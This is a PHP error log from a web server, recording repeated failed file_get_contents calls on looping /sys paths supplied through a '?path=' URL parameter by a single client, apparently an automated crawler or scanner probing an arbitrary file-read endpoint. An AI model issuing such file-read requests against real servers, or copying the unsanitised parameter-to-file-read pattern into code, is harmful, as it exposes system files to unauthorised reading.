[Thu Mar 26 12:05:37.170317 2026] [php:warn] [pid 3117489] [client 74.7.241.26:49520] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ba/subsystem/devices/device:dc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ba/subsystem/devices/device:dc
[Thu Mar 26 12:05:38.250753 2026] [php:warn] [pid 3117489] [client 74.7.241.26:49520] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ab/subsystem/devices/device:ea/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ab/subsystem/devices/device:ea
[Thu Mar 26 12:05:42.968491 2026] [php:warn] [pid 3117489] [client 74.7.241.26:49520] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ab/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ca/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ab/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ca
[Thu Mar 26 12:05:46.193263 2026] [php:warn] [pid 3117489] [client 74.7.241.26:49520] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:bb/device:bc/subsystem/devices/device:dc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:bb/device:bc/subsystem/devices/device:dc
[Thu Mar 26 12:05:47.774887 2026] [php:warn] [pid 3117489] [client 74.7.241.26:49520] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/subsystem/devices/device:dd/device:de/subsystem/drivers/ec/unbind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/subsystem/devices/device:dd/device:de/subsystem/drivers/ec
[Thu Mar 26 12:05:48.841599 2026] [php:warn] [pid 3117489] [client 74.7.241.26:49520] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:be/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:be
[Thu Mar 26 12:05:51.469244 2026] [php:warn] [pid 3117489] [client 74.7.241.26:49520] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ba/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ba/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ba/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ba
[Thu Mar 26 12:05:52.000500 2026] [php:warn] [pid 3117489] [client 74.7.241.26:49520] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ba/subsystem/devices/device:ca/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ba/subsystem/devices/device:ca
[Thu Mar 26 12:05:53.059542 2026] [php:warn] [pid 3117489] [client 74.7.241.26:49520] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ae/subsystem/devices/device:cc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ae/subsystem/devices/device:cc
[Thu Mar 26 12:05:57.182287 2026] [php:warn] [pid 3117489] [client 74.7.241.26:49520] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fb/subsystem/devices/device:dc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fb/subsystem/devices/device:dc
[Thu Mar 26 12:05:58.211881 2026] [php:warn] [pid 3117489] [client 74.7.241.26:49520] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/subsystem/devices/device:eb/subsystem/devices/device:dd/device:de/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/subsystem/devices/device:eb/subsystem/devices/device:dd/device:de
[Thu Mar 26 12:05:59.912615 2026] [php:warn] [pid 3117489] [client 74.7.241.26:49520] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ff/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ce/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ff/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ce
[Thu Mar 26 12:06:00.360616 2026] [php:warn] [pid 3117489] [client 74.7.241.26:49520] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fe/subsystem/devices/device:bc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fe/subsystem/devices/device:bc
[Thu Mar 26 12:06:01.434354 2026] [php:warn] [pid 3117489] [client 74.7.241.26:49520] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ab/subsystem/drivers/ec/unbind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ab/subsystem/drivers/ec
[Thu Mar 26 12:06:06.386876 2026] [php:warn] [pid 3106409] [client 74.7.241.26:34178] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:aa/subsystem/devices/device:ad/device:ae/subsystem/devices/device:be/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:aa/subsystem/devices/device:ad/device:ae/subsystem/devices/device:be
[Thu Mar 26 12:06:08.962654 2026] [php:warn] [pid 3106409] [client 74.7.241.26:34178] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:cb/subsystem/devices/device:ad/device:ae/subsystem/devices/device:bc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:cb/subsystem/devices/device:ad/device:ae/subsystem/devices/device:bc
[Thu Mar 26 12:06:09.481368 2026] [php:warn] [pid 3106409] [client 74.7.241.26:34178] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fd/subsystem/devices/device:dc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fd/subsystem/devices/device:dc
[Thu Mar 26 12:06:13.741031 2026] [php:warn] [pid 3106409] [client 74.7.241.26:34178] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:bd/subsystem/devices/device:ca/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:bd/subsystem/devices/device:ca
[Thu Mar 26 12:06:17.388346 2026] [php:warn] [pid 3106409] [client 74.7.241.26:34178] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ba/subsystem/devices/device:ea/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ba/subsystem/devices/device:ea
[Thu Mar 26 12:06:18.990624 2026] [php:warn] [pid 3106409] [client 74.7.241.26:34178] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:bd/subsystem/devices/device:fc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:bd/subsystem/devices/device:fc
[Thu Mar 26 12:06:20.513515 2026] [php:warn] [pid 3106409] [client 74.7.241.26:34178] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:bb/subsystem/drivers/ac/bind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:bb/subsystem/drivers/ac
[Thu Mar 26 12:06:23.099583 2026] [php:warn] [pid 3106409] [client 74.7.241.26:34178] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:cc/subsystem/devices/device:ad/device:ae/subsystem/drivers/ac/bind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:cc/subsystem/devices/device:ad/device:ae/subsystem/drivers/ac
[Thu Mar 26 12:06:25.274174 2026] [php:warn] [pid 3106409] [client 74.7.241.26:34178] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fc/subsystem/devices/device:ac/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fc/subsystem/devices/device:ac
[Thu Mar 26 12:06:26.283768 2026] [php:warn] [pid 3106409] [client 74.7.241.26:34178] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:aa/subsystem/devices/device:ad/device:ae/subsystem/drivers/ac/unbind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:aa/subsystem/devices/device:ad/device:ae/subsystem/drivers/ac
[Thu Mar 26 12:06:30.604977 2026] [php:warn] [pid 3106409] [client 74.7.241.26:34178] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:fd/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:fd/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fc
[Thu Mar 26 12:06:32.273570 2026] [php:warn] [pid 3106409] [client 74.7.241.26:34178] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:ed/device:ee/subsystem/devices/device:be/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:ed/device:ee/subsystem/devices/device:be
[Thu Mar 26 12:06:32.739526 2026] [php:warn] [pid 3106409] [client 74.7.241.26:34178] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:cb/subsystem/devices/device:fa/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:cb/subsystem/devices/device:fa
[Thu Mar 26 12:06:33.257128 2026] [php:warn] [pid 3106409] [client 74.7.241.26:34178] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ce/subsystem/devices/device:ad/device:ae/subsystem/drivers/ec/uevent): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ce/subsystem/devices/device:ad/device:ae/subsystem/drivers/ec
[Thu Mar 26 12:06:37.425685 2026] [php:warn] [pid 3106409] [client 74.7.241.26:34178] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ae/subsystem/devices/device:ad/device:ae/subsystem/drivers/ec/bind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ae/subsystem/devices/device:ad/device:ae/subsystem/drivers/ec
[Thu Mar 26 12:06:40.662072 2026] [php:warn] [pid 3106409] [client 74.7.241.26:34178] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ff/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ba/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ff/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ba
[Thu Mar 26 12:06:48.650493 2026] [php:warn] [pid 3106409] [client 74.7.241.26:34178] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:bd/subsystem/devices/device:da/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:bd/subsystem/devices/device:da
[Thu Mar 26 12:06:49.705901 2026] [php:warn] [pid 3106409] [client 74.7.241.26:34178] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ce/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ea/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ce/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ea
[Thu Mar 26 12:06:51.276136 2026] [php:warn] [pid 3106409] [client 74.7.241.26:34178] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:aa/subsystem/drivers/ac/unbind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:aa/subsystem/drivers/ac
[Thu Mar 26 12:06:51.897108 2026] [php:warn] [pid 3106409] [client 74.7.241.26:34178] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:fa/subsystem/devices/device:ad/device:ae/subsystem/drivers/ec/uevent): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:fa/subsystem/devices/device:ad/device:ae/subsystem/drivers/ec
[Thu Mar 26 12:06:54.073186 2026] [php:warn] [pid 3106409] [client 74.7.241.26:34178] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:dd/subsystem/devices/device:fe/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:dd/subsystem/devices/device:fe
[Thu Mar 26 12:07:02.186107 2026] [php:warn] [pid 3216554] [client 74.7.241.26:32976] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:dd/subsystem/devices/device:ad/device:ae/subsystem/drivers/ec/unbind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:dd/subsystem/devices/device:ad/device:ae/subsystem/drivers/ec
[Thu Mar 26 12:07:04.373096 2026] [php:warn] [pid 3216554] [client 74.7.241.26:32976] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:bd/device:be/subsystem/devices/device:ae/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:bd/device:be/subsystem/devices/device:ae
[Thu Mar 26 12:07:06.974616 2026] [php:warn] [pid 3216554] [client 74.7.241.26:32976] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ae/subsystem/devices/device:ae/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ae/subsystem/devices/device:ae
[Thu Mar 26 12:07:10.789612 2026] [php:warn] [pid 3216554] [client 74.7.241.26:32976] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:fb/device:fc/subsystem/devices/device:ee/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:fb/device:fc/subsystem/devices/device:ee
[Thu Mar 26 12:07:11.359863 2026] [php:warn] [pid 3216554] [client 74.7.241.26:32976] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:af/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fa/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:af/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fa
[Thu Mar 26 12:07:12.423651 2026] [php:warn] [pid 3216554] [client 74.7.241.26:32976] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ad/subsystem/drivers/ec/bind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ad/subsystem/drivers/ec
[Thu Mar 26 12:07:12.939317 2026] [php:warn] [pid 3216554] [client 74.7.241.26:32976] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:cc/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ba/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:cc/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ba
[Thu Mar 26 12:07:15.070022 2026] [php:warn] [pid 3216554] [client 74.7.241.26:32976] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ee/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ee
[Thu Mar 26 12:07:16.141797 2026] [php:warn] [pid 3216554] [client 74.7.241.26:32976] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:bb/subsystem/devices/device:ad/device:ae/subsystem/devices/device:dc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:bb/subsystem/devices/device:ad/device:ae/subsystem/devices/device:dc
